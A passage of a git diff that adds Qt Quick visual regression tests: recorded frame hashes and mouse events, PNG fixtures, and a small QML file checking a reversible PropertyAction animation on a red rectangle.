+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 432
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 448
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 464
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 480
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 496
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 512
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 528
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 544
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 560
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 576
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 592
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 608
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 624
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 640
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 656
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 672
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 688
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 704
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 720
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 736
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 27; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 752
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 768
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 784
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 800
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 816
+ hash: "e8e6b7d7f81895ae556936ba5e0848a5"
+ }
+ Frame {
+ msec: 832
+ hash: "b6ee5f74a5e91bcf6b9aad3cbb5d683f"
+ }
+ Frame {
+ msec: 848
+ hash: "b6ee5f74a5e91bcf6b9aad3cbb5d683f"
+ }
+ Frame {
+ msec: 864
+ hash: "02e3d071d5fc0832041688950d3610b8"
+ }
+ Frame {
+ msec: 880
+ hash: "aad38d9678bdeeed750f381a40e22a61"
+ }
+ Frame {
+ msec: 896
+ hash: "a8753ac7d026d94224c488fa16d5774a"
+ }
+ Frame {
+ msec: 912
+ hash: "9de26e2d70bd285116df820ca87c2e4d"
+ }
+ Frame {
+ msec: 928
+ hash: "985c6ee9cb5f259135a4eeb3c2f1d271"
+ }
+ Frame {
+ msec: 944
+ hash: "985c6ee9cb5f259135a4eeb3c2f1d271"
+ }
+ Frame {
+ msec: 960
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 976
+ image: "propertyAction-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 1008
+ hash: "9dbe8b62ec467f5b95b4bb8ab9fbab68"
+ }
+ Frame {
+ msec: 1024
+ hash: "9dbe8b62ec467f5b95b4bb8ab9fbab68"
+ }
+ Frame {
+ msec: 1040
+ hash: "81c157daf3086b21ea2ba39277a31f3d"
+ }
+ Frame {
+ msec: 1056
+ hash: "a19d2e389a71472929fed6691dbe40ec"
+ }
+ Frame {
+ msec: 1072
+ hash: "0fc67582f36db63dc3df1027bf7ad90b"
+ }
+ Frame {
+ msec: 1088
+ hash: "c53f1a42113fdc2e525c43460ed40f81"
+ }
+ Frame {
+ msec: 1104
+ hash: "c8968753e599419bc2d70adb95b643f2"
+ }
+ Frame {
+ msec: 1120
+ hash: "449fbda0dc3e45d022832f9d15203466"
+ }
+ Frame {
+ msec: 1136
+ hash: "7778e32071419dd53920536bac1eb21a"
+ }
+ Frame {
+ msec: 1152
+ hash: "279510c6ca5429a22855a08e88a1b4b5"
+ }
+ Frame {
+ msec: 1168
+ hash: "ac86ca53dc52c7c54bd993faa2daf0b9"
+ }
+ Frame {
+ msec: 1184
+ hash: "7e20361da8a49f9699e290673bdd60ee"
+ }
+ Frame {
+ msec: 1200
+ hash: "aa5f6e188212cee2dbf8d1e52692ac88"
+ }
+ Frame {
+ msec: 1216
+ hash: "14018d9d2370c46b5f0c280cb169225e"
+ }
+ Frame {
+ msec: 1232
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1248
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1264
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1280
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1296
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1312
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1328
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1344
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1360
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1376
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1392
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1408
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1424
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1440
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1456
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1472
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1488
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1504
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1520
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1536
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1552
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1568
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1584
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1600
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1616
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1632
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1648
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1664
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1680
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1696
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 27; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1712
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1728
+ hash: "29ad10997d8045ccfd69fe78475dd2f3"
+ }
+ Frame {
+ msec: 1744
+ hash: "7b99c5dd3750291043f62479314ccb2f"
+ }
+ Frame {
+ msec: 1760
+ hash: "d3409cf579db724440f3f59cfc902974"
+ }
+ Frame {
+ msec: 1776
+ hash: "2ad2a4b3f933e3a27acb232adf06eb7f"
+ }
+ Frame {
+ msec: 1792
+ hash: "35074cf4f2753c77e112092e92630c71"
+ }
+ Frame {
+ msec: 1808
+ hash: "f7038f7e6d7b6498ff1a4098c79f9d2a"
+ }
+ Frame {
+ msec: 1824
+ hash: "fec23135661d2368cf3cf64f7d62af73"
+ }
+ Frame {
+ msec: 1840
+ hash: "4143603bf203319f423d21f204fac3b0"
+ }
+ Frame {
+ msec: 1856
+ hash: "f3d41bdc8ae60f6fbf109206ac9023de"
+ }
+ Frame {
+ msec: 1872
+ hash: "41064ea276aabfba45966130d2ec4b06"
+ }
+ Frame {
+ msec: 1888
+ hash: "dfbe242fc8bc3c70207be901ac2db139"
+ }
+ Frame {
+ msec: 1904
+ hash: "a8a9f435774def4255ae433646cc5263"
+ }
+ Frame {
+ msec: 1920
+ hash: "81c157daf3086b21ea2ba39277a31f3d"
+ }
+ Frame {
+ msec: 1936
+ image: "propertyAction-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "9dbe8b62ec467f5b95b4bb8ab9fbab68"
+ }
+ Frame {
+ msec: 1968
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 1984
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 2000
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 2016
+ hash: "4ba1bf769de9bc45630485d06642dc30"
+ }
+ Frame {
+ msec: 2032
+ hash: "985c6ee9cb5f259135a4eeb3c2f1d271"
+ }
+ Frame {
+ msec: 2048
+ hash: "9de26e2d70bd285116df820ca87c2e4d"
+ }
+ Frame {
+ msec: 2064
+ hash: "a8753ac7d026d94224c488fa16d5774a"
+ }
+ Frame {
+ msec: 2080
+ hash: "aad38d9678bdeeed750f381a40e22a61"
+ }
+ Frame {
+ msec: 2096
+ hash: "abddb88af9b07e782f6c2103479abe3d"
+ }
+ Frame {
+ msec: 2112
+ hash: "02e3d071d5fc0832041688950d3610b8"
+ }
+ Frame {
+ msec: 2128
+ hash: "b6ee5f74a5e91bcf6b9aad3cbb5d683f"
+ }
+ Frame {
+ msec: 2144
+ hash: "e8e6b7d7f81895ae556936ba5e0848a5"
+ }
+ Frame {
+ msec: 2160
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 2176
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 2192
+ hash: "a858eee4b2753915ec84d2ffa098260c"
+ }
+ Frame {
+ msec: 2208
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2224
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2240
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2256
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2272
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2288
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2304
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2320
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2336
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2352
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2368
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2384
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2400
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2416
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2432
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2448
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2464
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2480
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2496
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2512
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2528
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2544
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2560
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2576
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2592
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2608
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2624
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2640
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2656
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2672
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2688
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2704
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2720
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2736
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2752
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2768
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2784
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2800
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2816
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2832
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2848
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2864
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2880
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2896
+ image: "propertyAction-visual.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2928
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2944
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2960
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2976
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 2992
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3008
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3024
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3040
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3056
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3072
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3088
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3104
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3120
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3136
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3152
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 3168
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction-visual.qml b/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction-visual.qml
new file mode 100644
index 00000000..3ff4214d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction-visual.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+/*
+This test starts with a 30x40 rectangle at 0,0. It should animate a width change to 40,
+then jump 50 pixels right, and then animate moving 50 pixels down. Afer this it should
+do an exact visual reversal (animate up 50 pixels, jump left 50 pixels, and then animate
+a change back to 30px wide).
+*/
+
+Rectangle {
+ width: 100; height: 100
+ Rectangle {
+ id: myRect
+ width: 30; height: 40
+ color: "red"
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "state1"
+ when: clickable.pressed
+ PropertyChanges {
+ target: myRect
+ x: 50; y: 50; width: 40
+ }
+ }
+
+ transitions: Transition {
+ to: "state1"
+ reversible: true
+ SequentialAnimation {
+ NumberAnimation { properties: "width"; easing.type: "InOutQuad" }
+ PropertyAction { properties: "x" }
+ NumberAnimation { properties: "y"; easing.type: "InOutQuad" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.0.png b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.0.png
new file mode 100644
index 00000000..4af17441
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.1.png b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.1.png
new file mode 100644
index 00000000..29ca02a8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.2.png b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.2.png
new file mode 100644
index 00000000..c7da3597
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.3.png b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.3.png
new file mode 100644
index 00000000..7373951f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.4.png b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.4.png
new file mode 100644
index 00000000..85524061
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.qml b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.qml
new file mode 100644
index 00000000..05b5c995
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.qml
@@ -0,0 +1,1107 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug10586.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 48
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 64
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 80
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 96
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 112
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 128
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 144
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 160
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 176
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 192
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 208
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 224
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 240
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 256
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 272
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 288
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 304
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 320
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 336
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 352
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 368
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 384
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 400
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 416
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 432
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 448
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 464
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 480
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 496
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 512
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 528
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 544
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 560
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 576
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 592
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 608
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 624
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 640
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 656
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 672
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 688
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 704
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 155; y: 261
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 260
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 720
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 260
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 144; y: 258
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 736
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 254
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 249
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 752
+ hash: "3e70a9fcacf40284c4bbf6a8376edfec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 247
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 245
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 768
+ hash: "3b65fbe0980fabd4bcba5757323c8fcf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -25; y: 241
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "0a79d810c2ff479fcc42d40125f6ccda"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -68; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: -68; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "9e5b85c715a2a573f0dd3bc7e342625f"
+ }
+ Frame {
+ msec: 816
+ hash: "371faa0d3bb3815470ef48713f0363b6"
+ }
+ Frame {
+ msec: 832
+ hash: "2f948f765ec2d861841439f03e402bcf"
+ }
+ Frame {
+ msec: 848
+ hash: "74dbda8d6d005fb8fb307fc4cf146e1e"
+ }
+ Frame {
+ msec: 864
+ hash: "bdf1f0db0411a3456ddc0efff0584e9c"
+ }
+ Frame {
+ msec: 880
+ hash: "cb5c7c9fc7e4707f1d8b7bbb9f19065d"
+ }
+ Frame {
+ msec: 896
+ hash: "f60df4e47f5b9d16b576ab4107a0c11c"
+ }
+ Frame {
+ msec: 912
+ hash: "6fcc1b9d2d1829c48cdfefba632c6a91"
+ }
+ Frame {
+ msec: 928
+ hash: "e53272919fa23f7023ce66d3b15c2f05"
+ }
+ Frame {
+ msec: 944
+ hash: "dc043143bf35a808fcdf2b692753dc86"
+ }
+ Frame {
+ msec: 960
+ hash: "dff3c85f1bb42138410e9db7be98425b"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug10586.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "d4122caf5fc8cfd59e6048b830acc3fb"
+ }
+ Frame {
+ msec: 1008
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1024
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1040
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1056
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1072
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1088
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1104
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1120
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1136
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1152
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1168
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1184
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1200
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1216
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1232
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1248
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1264
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1280
